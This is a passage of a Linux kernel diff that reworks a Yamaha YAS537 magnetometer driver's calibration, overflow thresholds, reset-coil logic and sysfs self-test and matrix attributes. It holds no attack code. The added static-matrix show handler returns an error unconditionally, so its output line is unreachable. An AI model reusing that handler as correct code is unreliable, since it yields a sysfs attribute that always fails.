addr, &data, 1); } +static void apply_matrix(struct yas_vector *xyz, struct yas_matrix *m) +{ + int32_t tmp[3]; + int i; + if (m == NULL) + return; + for (i = 0; i < 3; i++) + tmp[i] = ((m->m[i*3]/10) * (xyz->v[0]/10) + + (m->m[i*3+1]/10) * (xyz->v[1]/10) + + (m->m[i*3+2]/10) * (xyz->v[2]/10)) / 100; + for (i = 0; i < 3; i++) + xyz->v[i] = tmp[i]; +} + static uint32_t curtime(void) { if (driver.cbk.current_time) @@ -159,11 +185,10 @@ static int cont_start_yas537(void) return YAS_ERROR_DEVICE_COMMUNICATION; /* wait for the first measurement */ driver.cbk.usleep(measure_time_worst[driver.average]); - driver.measure_state = YAS537_MAG_STATE_RECORD_DATA; return YAS_NO_ERROR; } -static int read_yas537(int *bad, int *busy, uint16_t *t, uint16_t *xy1y2, +static int read_yas537(int *busy, uint16_t *t, uint16_t *xy1y2, int *ouflow) { uint8_t data[8]; @@ -171,7 +196,6 @@ static int read_yas537(int *bad, int *busy, uint16_t *t, uint16_t *xy1y2, if (yas_read(YAS537_REG_DATAR, data, 8) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; *busy = data[2]>>7; - *bad = (data[2]>>6) & 0x01; *t = (uint16_t)((data[0]<<8) | data[1]); xy1y2[0] = (uint16_t)(((data[2]&0x3f)<<8) | data[3]); xy1y2[1] = (uint16_t)((data[4]<<8) | data[5]); @@ -197,9 +221,9 @@ static int read_yas537(int *bad, int *busy, uint16_t *t, uint16_t *xy1y2, } *ouflow = 0; for (i = 0; i < 3; i++) { - if (YAS537_DATA_OVERFLOW <= xy1y2[i]) + if (driver.overflow[i] <= xy1y2[i]) *ouflow |= (1<<(i*2)); - if (xy1y2[i] == YAS537_DATA_UNDERFLOW) + if (xy1y2[i] <= driver.underflow[i]) *ouflow |= (1<<(i*2+1)); } return YAS_NO_ERROR; @@ -208,14 +232,14 @@ static int read_yas537(int *bad, int *busy, uint16_t *t, uint16_t *xy1y2, static int update_intrvlr(int delay) { uint8_t data; - /* delay worst 6.15 x SMPLTIM [7:0] msec */ - if ((1568250 + measure_time_worst[driver.average]) / 1000 < delay) - delay = 1568250 + measure_time_worst[driver.average]; + /* delay 4.1 x SMPLTIM [7:0] msec */ + if ((4100 * 255 + measure_time_worst[driver.average]) / 1000 < delay) + delay = 4100 * 255 + measure_time_worst[driver.average]; else delay *= 1000; - delay = (delay - measure_time_worst[driver.average]) / 6150; - if (delay <= 0) - data = 1; + delay = (delay - measure_time_worst[driver.average]) / 4100; + if (delay <= 1) + data = 2; else data = (uint8_t) delay; if (yas_single_write(YAS537_REG_INTRVLR, data) < 0) @@ -223,15 +247,18 @@ static int update_intrvlr(int delay) return YAS_NO_ERROR; } -static int reset_yas537(void) +static int reset_yas537(int rcoil) { - int cal_valid = 0, i; + struct yas_cal *c = &driver.cal; + static const uint8_t avrr[] = {0x50, 0x60, 0x70, 0x71, 0x72, 0x73}; + int cal_valid = 0, i, rt, busy, ouflow; + uint16_t xy1y2[3], t; uint8_t data[17]; if (yas_single_write(YAS537_REG_SRSTR, 0x02) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; if (yas_read(YAS537_REG_CALR, data, 17) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; - driver.cal.ver = data[16] >> 6; + c->ver = data[16] >> 6; for (i = 0; i < 17; i++) { if (i < 16 && data[i] != 0) cal_valid = 1; @@ -240,7 +267,7 @@ static int reset_yas537(void) } if (!cal_valid) return YAS_ERROR_CALREG; - if (driver.cal.ver == 0) { + if (c->ver == 0) { for (i = 0; i < 17; i++) { if (i < 12) { if (yas_single_write(YAS537_REG_MTCR+i, @@ -257,7 +284,11 @@ static int reset_yas537(void) return YAS_ERROR_DEVICE_COMMUNICATION; } } - } else if (driver.cal.ver == 1) { + for (i = 0; i < 3; i++) { + driver.overflow[i] = YAS537_DATA_OVERFLOW; + driver.underflow[i] = YAS537_DATA_UNDERFLOW; + } + } else if (c->ver == 1) { for (i = 0; i < 3; i++) { if (yas_single_write(YAS537_REG_MTCR+i, data[i]) < 0) @@ -276,41 +307,67 @@ static int reset_yas537(void) return YAS_ERROR_DEVICE_COMMUNICATION; if (yas_single_write(YAS537_REG_OCR, data[16]&0x3f) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; - driver.cal.a2 = (((data[3]<<2)&0x7c) | (data[4]>>6)) - 64; - driver.cal.a3 = (((data[4]<<1)&0x7e) | (data[5]>>7)) - 64; - driver.cal.a4 = (((data[5]<<1)&0xfe) | (data[6]>>7)) - 128; - driver.cal.a5 = (((data[6]<<2)&0x1fc) | (data[7]>>6)) - 112; - driver.cal.a6 = (((data[7]<<1)&0x7e) | (data[8]>>7)) - 64; - driver.cal.a7 = (((data[8]<<1)&0xfe) | (data[9]>>7)) - 128; - driver.cal.a8 = (data[9]&0x7f) - 64; - driver.cal.a9 = (((data[10]<<1)&0x1fe) | (data[11]>>7)) - 112; - driver.cal.k = data[11]&0x7f; + c->cxy1y2[0] = ((data[0]<<1) | (data[1]>>7)) - 256; + c->cxy1y2[1] = (((data[1]<<2)&0x1fc) | (data[2]>>6)) - 256; + c->cxy1y2[2] = (((data[2]<<3)&0x1f8) | (data[3]>>5)) - 256; + c->a2 = (((data[3]<<2)&0x7c) | (data[4]>>6)) - 64; + c->a3 = (((data[4]<<1)&0x7e) | (data[5]>>7)) - 64; + c->a4 = (((data[5]<<1)&0xfe) | (data[6]>>7)) - 128; + c->a5 = (((data[6]<<2)&0x1fc) | (data[7]>>6)) - 112; + c->a6 = (((data[7]<<1)&0x7e) | (data[8]>>7)) - 64; + c->a7 = (((data[8]<<1)&0xfe) | (data[9]>>7)) - 128; + c->a8 = (data[9]&0x7f) - 64; + c->a9 = (((data[10]<<1)&0x1fe) | (data[11]>>7)) - 112; + c->k = data[11]&0x7f; + for (i = 0; i < 3; i++) { + int16_t a[3]; + a[0] = 128; + a[1] = c->a5; + a[2] = c->a9; + driver.overflow[i] = 8192 + c->k * a[i] * (8192 + - ABS(c->cxy1y2[i]) * 325 / 16 - 192) + / 8192; + driver.underflow[i] = 8192 - c->k * a[i] * (8192 + - ABS(c->cxy1y2[i]) * 325 / 16 - 192) + / 8192; + if (YAS537_DATA_OVERFLOW < driver.overflow[i]) + driver.overflow[i] = YAS537_DATA_OVERFLOW; + if (driver.underflow[i] < YAS537_DATA_UNDERFLOW) + driver.underflow[i] = YAS537_DATA_UNDERFLOW; + } } else return YAS_ERROR_CALREG; - /* FIXME */ - if (yas_single_write(YAS537_REG_ADCCALR, 0x00) < 0) + if (yas_single_write(YAS537_REG_ADCCALR, 0x03) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_ADCCALR+1, 0x00) < 0) + if (yas_single_write(YAS537_REG_ADCCALR+1, 0xf8) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; if (yas_single_write(YAS537_REG_TRMR, 0xff) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; if (update_intrvlr(driver.delay) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_AVRR, 0x70 | driver.average) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_CONFR, 0x08) < 0) + if (yas_single_write(YAS537_REG_AVRR, avrr[driver.average]) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; - /* FIXME */ + if (rcoil) { + if (yas_single_write(YAS537_REG_CONFR, 0x08) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.cbk.usleep(YAS537_MAG_RCOIL_TIME); + rt = single_read(0, 0, &busy, &t, xy1y2, &ouflow); + if (rt < 0) + return rt; + if (busy) + return YAS_ERROR_BUSY; + set_vector(driver.last_after_rcoil, xy1y2); + } return YAS_NO_ERROR; } -static int single_read(int ldtc, int fors, int *bad, int *busy, uint16_t *t, +static int single_read(int ldtc, int fors, int *busy, uint16_t *t, uint16_t *xy1y2, int *ouflow) { if (start_yas537(ldtc, fors, 0) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; driver.cbk.usleep(measure_time_worst[driver.average]); - if (read_yas537(bad, busy, t, xy1y2, ouflow) < 0) + if (read_yas537(busy, t, xy1y2, ouflow) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; return YAS_NO_ERROR; } @@ -326,24 +383,27 @@ static int yas_cdrv_sensitivity_measuremnet(int32_t *sx, int32_t *sy) { uint16_t p[3], m[3], xy1y2[3], t; struct yas_cal *c = &driver.cal; - int busy, flowon = 0, flowoff = 0, bad, rt, i; - rt = single_read(1, 0, &bad, &busy, &t, xy1y2, &flowon); + int busy, flowon = 0, flowoff = 0, rt, i; + rt = single_read(1, 0, &busy, &t, xy1y2, &flowon); if (rt < 0) return rt; if (busy) return YAS_ERROR_BUSY; for (i = 0; i < 3; i++) p[i] = driver.last_raw[i]; - rt = single_read(1, 1, &bad, &busy, &t, xy1y2, &flowoff); + rt = single_read(1, 1, &busy, &t, xy1y2, &flowoff); if (rt < 0) return rt; if (busy) return YAS_ERROR_BUSY; for (i = 0; i < 3; i++) m[i] = driver.last_raw[i]; - *sx = c->k * 128 * (p[0] - m[0]) / 8192 * 300 / YAS_MAG_VCORE; - *sy = c->k * (c->a5 * (p[1] - m[1]) - c->a9 * (p[2] - m[2])) / 8192 - * 1732 / YAS_MAG_VCORE / 10; + if (driver.cal.ver == 1) { + *sx = c->k * 128 * (p[0] - m[0]) / 8192 * 300 / YAS_MAG_VCORE; + *sy = c->k * (c->a5 * (p[1] - m[1]) - c->a9 * (p[2] - m[2])) + / 8192 * 1732 / YAS_MAG_VCORE / 10; + } else + return YAS_ERROR_CALREG; return flowon | flowoff; } @@ -371,7 +431,7 @@ static int yas_set_position(int position) static int yas_measure(struct yas_data *data, int num, int *ouflow) { int32_t xyz_tmp[3]; - int i, busy, bad; + int i, busy, rt; uint16_t t, xy1y2[3]; uint32_t tm; *ouflow = 0; @@ -385,7 +445,20 @@ static int yas_measure(struct yas_data *data, int num, int *ouflow) return 0; if (!driver.enable) return 0; - if (read_yas537(&bad, &busy, &t, xy1y2, ouflow) < 0) + if (driver.measure_state == YAS537_MAG_STATE_INIT_COIL) { + tm = curtime(); + if (YAS537_MAG_INITCOIL_TIMEOUT + <= tm - driver.invalid_data_time) { + driver.invalid_data_time = tm; + rt = reset_yas537(1); + if (rt < 0) + return rt; + if (cont_start_yas537() < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + driver.measure_state = YAS537_MAG_STATE_NORMAL; + } + } + if (read_yas537(&busy, &t, xy1y2, ouflow) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; xy1y2_to_xyz(xy1y2, data->xyz.v); if (driver.transform != NULL) { @@ -396,6 +469,7 @@ static int yas_measure(struct yas_data *data, int num, int *ouflow) } set_vector(data->xyz.v, xyz_tmp); } + apply_matrix(&data->xyz, &driver.static_matrix); for (i = 0; i < 3; i++) { data->xyz.v[i] -= data->xyz.v[i] % 10; if (*ouflow & (1<<(i*2))) @@ -412,37 +486,18 @@ static int yas_measure(struct yas_data *data, int num, int *ouflow) data->accuracy = 0; if (busy) return YAS_ERROR_BUSY; - switch (driver.measure_state) { - case YAS537_MAG_STATE_INIT_COIL: - tm = curtime(); - if (tm - driver.invalid_data_time < YAS537_MAG_INITCOIL_TIMEOUT) - break; - driver.invalid_data_time = tm; - if (yas_single_write(YAS537_REG_CONFR, 0x08) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.measure_state = YAS537_MAG_STATE_RECORD_DATA; - break; - case YAS537_MAG_STATE_RECORD_DATA: - if (bad) - break; - set_vector(driver.last_after_rcoil, xy1y2); - driver.measure_state = YAS537_MAG_STATE_NORMAL; - /* FALLTHRU */ - case YAS537_MAG_STATE_NORMAL: - if (0 < *ouflow || invalid_magnetic_field(xy1y2, - driver.last_after_rcoil)) { - if (!driver.invalid_data) - driver.invalid_data_time = tm; - driver.invalid_data = 1; - driver.measure_state = YAS537_MAG_STATE_INIT_COIL; - for (i = 0; i < 3; i++) { - if (!*ouflow) - data->xyz.v[i] += 3; - } - } else - driver.invalid_data = 0; - break; - } + if (0 < *ouflow || invalid_magnetic_field(xy1y2, + driver.last_after_rcoil)) { + if (!driver.invalid_data) + driver.invalid_data_time = tm; + driver.invalid_data = 1; + driver.measure_state = YAS537_MAG_STATE_INIT_COIL; + for (i = 0; i < 3; i++) { + if (!*ouflow) + data->xyz.v[i] += 3; + } + } else + driver.invalid_data = 0; return 1; } @@ -469,7 +524,7 @@ static int yas_set_delay(int delay) if (!driver.enable) return YAS_NO_ERROR; yas_set_enable(0); - yas_set_enable(1); + yas_set_enable_wrap(1, 0); return YAS_NO_ERROR; } @@ -480,7 +535,7 @@ static int yas_get_enable(void) return driver.enable; } -static int yas_set_enable(int enable) +static int yas_set_enable_wrap(int enable, int rcoil) { int rt = YAS_NO_ERROR; if (!driver.initialized) @@ -491,7 +546,7 @@ static int yas_set_enable(int enable) if (enable) { if (yas_open() < 0) return YAS_ERROR_DEVICE_COMMUNICATION; - rt = reset_yas537(); + rt = reset_yas537(rcoil); if (rt < 0) { driver.cbk.device_close(YAS_TYPE_MAG); return rt; @@ -500,6 +555,8 @@ static int yas_set_enable(int enable) driver.cbk.device_close(YAS_TYPE_MAG); return YAS_ERROR_DEVICE_COMMUNICATION; } + if (rcoil) + driver.measure_state = YAS537_MAG_STATE_NORMAL; } else { yas_single_write(YAS537_REG_SRSTR, 0x02); driver.cbk.device_close(YAS_TYPE_MAG); @@ -508,13 +565,19 @@ static int yas_set_enable(int enable) return rt; } +static int yas_set_enable(int enable) +{ + return yas_set_enable_wrap(enable, 1); +} + static int yas_ext(int32_t cmd, void *p) { struct yas537_self_test_result *r; struct yas_data data; int32_t *xyz; + int16_t *ouflow, *m; int8_t average, *hard_offset; - int rt, i, enable, ouflow, bad, busy; + int rt, i, enable, overflow, busy, position; uint16_t t, xy1y2[3]; if (!driver.initialized) return YAS_ERROR_INITIALIZE; @@ -529,10 +592,10 @@ static int yas_ext(int32_t cmd, void *p) if (yas_open() < 0) return YAS_ERROR_DEVICE_COMMUNICATION; } - rt = reset_yas537(); + rt = reset_yas537(1); if (rt < 0) goto self_test_exit; - rt = single_read(0, 0, &bad, &busy, &t, xy1y2, &ouflow); + rt = single_read(0, 0, &busy, &t, xy1y2, &overflow); if (rt < 0) goto self_test_exit; if (busy) { @@ -542,11 +605,11 @@ static int yas_ext(int32_t cmd, void *p) xy1y2_to_xyz(xy1y2, r->xyz); for (i = 0; i < 3; i++) r->xyz[i] = r->xyz[i] / 1000; - if (ouflow & YAS_OVERFLOW) { + if (overflow & YAS_OVERFLOW) { rt = YAS_ERROR_OVERFLOW; goto self_test_exit; } - if (ouflow & YAS_UNDERFLOW) { + if (overflow & YAS_UNDERFLOW) { rt = YAS_ERROR_UNDERFLOW; goto self_test_exit; } @@ -567,7 +630,7 @@ static int yas_ext(int32_t cmd, void *p) goto self_test_exit; } rt = YAS_NO_ERROR; -self_test_exit: + self_test_exit: if (enable) cont_start_yas537(); else @@ -577,19 +640,25 @@ static int yas_ext(int32_t cmd, void *p) xyz = (int32_t *) p; enable = driver.enable; if (!enable) { - rt = yas_set_enable(1); + if (driver.noise_rcoil_flag) + rt = yas_set_enable_wrap(1, 1); + else + rt = yas_set_enable_wrap(1, 0); if (rt < 0) return rt; + driver.noise_rcoil_flag = 0; } - rt = yas_measure(&data, 1, &ouflow); + position = yas_get_position(); + yas_set_position(YAS537_MAG_NOTRANS_POSITION); + rt = yas_measure(&data, 1, &overflow); + yas_set_position(position); if (rt < 0) { if (!enable) yas_set_enable(0); return rt; } - xyz[0] = driver.last_raw[0] - 8192; - xyz[1] = driver.last_raw[1] - driver.last_raw[2]; - xyz[2] = 16384 - driver.last_raw[1] - driver.last_raw[2]; + for (i = 0; i < 3; i++) + xyz[i] = data.xyz.v[i] / 300; if (!enable) yas_set_enable(0); return YAS_NO_ERROR; @@ -602,19 +671,37 @@ static int yas_ext(int32_t cmd, void *p) return YAS_NO_ERROR; case YAS537_SET_AVERAGE_SAMPLE: average = *(int8_t *) p; - if (average < 0 || 3 < average) + if (average < YAS537_MAG_AVERAGE_8 + || YAS537_MAG_AVERAGE_256 < average) return YAS_ERROR_ARG; driver.average = average; if (!driver.enable) return YAS_NO_ERROR; yas_set_enable(0); - yas_set_enable(1); + yas_set_enable_wrap(1, 0); return YAS_NO_ERROR; case YAS537_GET_HW_OFFSET: hard_offset = (int8_t *) p; for (i = 0; i < 3; i++) hard_offset[i] = driver.hard_offset[i]; return YAS_NO_ERROR; + case YAS537_GET_STATIC_MATRIX: + m = (int16_t *) p; + for (i = 0; i < 9; i++) + m[i] = driver.static_matrix.m[i]; + return YAS_NO_ERROR; + case YAS537_SET_STATIC_MATRIX: + m = (int16_t *) p; + for (i = 0; i < 9; i++) + driver.static_matrix.m[i] = m[i]; + return YAS_NO_ERROR; + case YAS537_GET_OUFLOW_THRESH: + ouflow = (int16_t *) p; + for (i = 0; i < 3; i++) { + ouflow[i] = driver.overflow[i]; + ouflow[i+3] = driver.underflow[i]; + } + return YAS_NO_ERROR; default: break; } @@ -653,12 +740,16 @@ static int yas_init(void) driver.transform = NULL; driver.record_data = 0; driver.average = YAS537_MAG_AVERAGE_32; + driver.noise_rcoil_flag = 1; for (i = 0; i < 3; i++) { driver.hard_offset[i] = -128; driver.last_after_rcoil[i] = 0; + driver.overflow[i] = -1; + driver.underflow[i] = -1; } for (i = 0; i < 4; i++) driver.last_raw[i] = 0; + driver.static_matrix = no_conversion; driver.initialized = 1; return YAS_NO_ERROR; } diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index c8136f192a556..174db13821485 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -31,14 +31,25 @@ #include #include #include +#include #include #include -#include - #include "yas.h" +/* #include */ +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 +#define YAS_MSM_NAME "compass" +#define YAS_MSM_VENDOR "Yamaha" +#define YAS_MSM_VERSION (1) +#define YAS_MSM_HANDLE (1) +#define YAS_MSM_TYPE (2) +#define YAS_MSM_MIN_DELAY (10000) +#define YAS_MSM_MAX_RANGE (800) +#define YAS_MSM_RESOLUTION "0.15" +#define YAS_MSM_SENSOR_POWER "0.40" +#endif #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 #define YAS_MSM_NAME "compass" #define YAS_MSM_VENDOR "Yamaha" #define YAS_MSM_VERSION (1) @@ -46,9 +57,8 @@ #define YAS_MSM_TYPE (2) #define YAS_MSM_MIN_DELAY (10000) #define YAS_MSM_MAX_RANGE (1200) -#define YAS_MSM_RESOLUTION "1" +#define YAS_MSM_RESOLUTION "0.15" #define YAS_MSM_SENSOR_POWER "0.40" -#define YAS_MSM_SENSOR_NAME "yas533-mag" #endif #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 #define YAS_MSM_NAME "compass" @@ -58,18 +68,16 @@ #define YAS_MSM_TYPE (2) #define YAS_MSM_MIN_DELAY (10000) #define YAS_MSM_MAX_RANGE (2000) -#define YAS_MSM_RESOLUTION "1" +#define YAS_MSM_RESOLUTION "0.3" #define YAS_MSM_SENSOR_POWER "0.28" -#define YAS_MSM_SENSOR_NAME "yas537-mag" #endif -#define YAS533_VDD_MIN_UV 2000000 -#define YAS533_VDD_MAX_UV 3300000 -#define YAS533_VIO_MIN_UV 1750000 -#define YAS533_VIO_MAX_UV 1950000 +#define YAS537_VDD_MIN_UV 2000000 +#define YAS537_VDD_MAX_UV 3300000 +#define YAS537_VIO_MIN_UV 1750000 +#define YAS537_VIO_MAX_UV 1950000 -struct yas533_platform_data { - int dir; +struct yas537_platform_data { int (*init)(void); void (*exit)(void); int (*power_on)(bool); @@ -91,24 +99,19 @@ struct yas_state { bool power_on; struct regulator *vdd; struct regulator *vio; - struct yas533_platform_data *platform_data; + struct yas537_platform_data *platform_data; struct i2c_client *client; }; static struct yas_state *pdev_data; static struct sensors_classdev sensors_cdev = { - .name = YAS_MSM_SENSOR_NAME, + .name = "yas537-mag", .vendor = "Yamaha", .version = 1, .handle = SENSORS_MAGNETIC_FIELD_HANDLE, .type = SENSOR_TYPE_MAGNETIC_FIELD, -#ifdef CONFIG_MACH_WT88047 .max_range = "2000", .resolution = "0.3", -#else - .max_range = "1200", - .resolution = "1", -#endif - .sensor_power = "0.40", + .sensor_power = "0.28", .min_delay = 10000, .max_delay = 10000, .fifo_reserved_event_count = 0, @@ -133,18 +136,12 @@ static int yas_device_write(int32_t type, uint8_t addr, const uint8_t *buf, int len) { uint8_t tmp[2]; - int error; - if (sizeof(tmp) - 1 < len) return -EPERM; tmp[0] = addr; memcpy(&tmp[1], buf, len); - error = i2c_master_send(this_client, tmp, len + 1); - - if (unlikely(error < 0)) { - dev_err(&this_client->dev, "I2C send error: %d\n", error); - return error; - } + if (i2c_master_send(this_client, tmp, len + 1) < 0) + return -EPERM; return 0; } @@ -183,7 +180,7 @@ static uint32_t yas_current_time(void) static int yas_enable(struct yas_state *st) { - struct yas533_platform_data *pdata; + struct yas537_platform_data *pdata; pdata = st->platform_data; if (pdata->power_on) pdata->power_on(true); @@ -199,8 +196,9 @@ static int yas_enable(struct yas_state *st) static int yas_disable(struct yas_state *st) { - struct yas533_platform_data *pdata; - pdata = st->platform_data; + struct yas537_platform_data *pdata; + pdata = st->platform_data; + if (atomic_cmpxchg(&st->enable, 1, 0)) { cancel_delayed_work_sync(&st->work); mutex_lock(&st->lock); @@ -210,12 +208,10 @@ static int yas_disable(struct yas_state *st) if (pdata->power_on) pdata->power_on(false); - return 0; } /* Sysfs interface */ - static ssize_t yas_position_show(struct device *dev, struct device_attribute *attr, char *buf) { @@ -223,11 +219,10 @@ static ssize_t yas_position_show(struct device *dev, int ret; mutex_lock(&st->lock); ret = st->mag.get_position(); - printk("%s, mag.get_position = %d\n", __func__, ret); mutex_unlock(&st->lock); if (ret < 0) return -EFAULT; - return snprintf(buf, PAGE_SIZE, "%d\n", ret); + return sprintf(buf, "%d\n", ret); } static ssize_t yas_position_store(struct device *dev, @@ -238,42 +233,12 @@ static ssize_t yas_position_store(struct device *dev, sscanf(buf, "%d\n", &position); mutex_lock(&st->lock); ret = st->mag.set_position(position); - printk("%s, mag.set_position = %d\n", __func__, ret); mutex_unlock(&st->lock); if (ret < 0) return -EFAULT; return count; } -static int yas_enable_set(struct sensors_classdev *sensors_cdev, - unsigned int enable) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - if (enable) - yas_enable(st); - else - yas_disable(st); - return 0; -} - -static int yas_poll_delay_set(struct sensors_classdev *sensors_cdev, - unsigned int delay_ms) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - if (delay_ms <= 0) - delay_ms = 10; - mutex_lock(&st->lock); - if (st->mag.set_delay(delay_ms) == YAS_NO_ERROR) - st->poll_delay = delay_ms; - mutex_unlock(&st->lock); - - return 0; - -} - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 static ssize_t yas_hard_offset_show(struct device *dev, struct device_attribute *attr, char *buf) { @@ -281,6 +246,9 @@ static ssize_t yas_hard_offset_show(struct device *dev, int8_t hard_offset[3]; int ret; mutex_lock(&st->lock); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + ret = st->mag.ext(YAS530_GET_HW_OFFSET, hard_offset); +#endif #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 ret = st->mag.ext(YAS532_GET_HW_OFFSET, hard_offset); @@ -291,12 +259,12 @@ static ssize_t yas_hard_offset_show(struct device *dev, mutex_unlock(&st->lock); if (ret < 0) return -EFAULT; - return snprintf(buf, PAGE_SIZE, "%d %d %d\n", - hard_offset[0], hard_offset[1], hard_offset[2]); + return sprintf(buf, "%d %d %d\n", hard_offset[0], hard_offset[1], + hard_offset[2]); } -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 static ssize_t yas_hard_offset_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) @@ -309,45 +277,145 @@ static ssize_t yas_hard_offset_store(struct device *dev, for (i = 0; i < 3; i++) hard_offset[i] = (int8_t)tmp[i]; mutex_lock(&st->lock); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + ret = st->mag.ext(YAS530_SET_HW_OFFSET, hard_offset); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 ret = st->mag.ext(YAS532_SET_HW_OFFSET, hard_offset); +#endif mutex_unlock(&st->lock); if (ret < 0) return -EFAULT; return count; } +#endif -static int yas_self_test(struct sensors_classdev *sensors_cdev) +static ssize_t yas_static_matrix_show(struct device *dev, + struct device_attribute *attr, char *buf) { - struct yas_state *st = container_of(sensors_cdev, struct yas_state, cdev); - struct yas532_self_test_result r; + struct yas_state *st = i2c_get_clientdata(this_client); + int16_t m[9]; int ret; mutex_lock(&st->lock); - ret = st->mag.ext(YAS532_SELF_TEST, &r); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + ret = st->mag.ext(YAS530_GET_STATIC_MATRIX, m); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + ret = st->mag.ext(YAS532_GET_STATIC_MATRIX, m); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + ret = st->mag.ext(YAS537_GET_STATIC_MATRIX, m); +#endif mutex_unlock(&st->lock); - if (ret < 0) - dev_err(&st->client->dev, "Self test mode failed\n"); - - return ret; + return -EFAULT; + return sprintf(buf, "%d %d %d %d %d %d %d %d %d\n", + m[0], m[1], m[2], m[3], m[4], m[5], m[6], m[7], m[8]); } -#endif +static ssize_t yas_static_matrix_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int16_t m[9]; + int ret; + sscanf(buf, "%hd %hd %hd %hd %hd %hd %hd %hd %hd\n", &m[0], &m[1], &m[2], &m[3], + &m[4], &m[5], &m[6], &m[7], &m[8]); + mutex_lock(&st->lock); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + ret = st->mag.ext(YAS530_SET_STATIC_MATRIX, m); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + ret = st->mag.ext(YAS532_SET_STATIC_MATRIX, m); +#endif #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -static int yas_self_test(struct sensors_classdev *sensors_cdev) + ret = st->mag.ext(YAS537_SET_STATIC_MATRIX, m); +#endif + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return count; +} + +static ssize_t yas_self_test_show(struct device *dev, + struct device_attribute *attr, char *buf) { - struct yas_state *st = container_of(sensors_cdev, struct yas_state, cdev); + struct yas_state *st = i2c_get_clientdata(this_client); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + struct yas530_self_test_result r; +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + struct yas532_self_test_result r; +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 struct yas537_self_test_result r; +#endif int ret; + char result[10]; mutex_lock(&st->lock); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + ret = st->mag.ext(YAS530_SELF_TEST, &r); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + ret = st->mag.ext(YAS532_SELF_TEST, &r); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 ret = st->mag.ext(YAS537_SELF_TEST, &r); +#endif mutex_unlock(&st->lock); - if (ret < 0) - dev_err(&st->client->dev, "Self test mode failed\n"); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + printk("%d %d %d %d %d %d %d %d %d %d %d\n", + ret, r.id, r.xy1y2[0], r.xy1y2[1], r.xy1y2[2], + r.dir, r.sx, r.sy, r.xyz[0], r.xyz[1], r.xyz[2]); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + printk("%d %d %d %d %d %d %d %d\n", ret, r.id, r.dir, + r.sx, r.sy, r.xyz[0], r.xyz[1], r.xyz[2]); +#endif - return ret; + if (ret != 0 || r.id != 7 || r.sx < 24 || r.sy < 31) { + printk("yas537 selftest fail\n"); + strcpy(result, "n"); + return sprintf(buf, "%s\n", result); + } else { + printk("yas537 selftest pass\n"); + strcpy(result, "y"); + return sprintf(buf, "%s\n", result); + } } +static ssize_t yas_self_test_noise_show(struct device *dev, + struct device_attribute 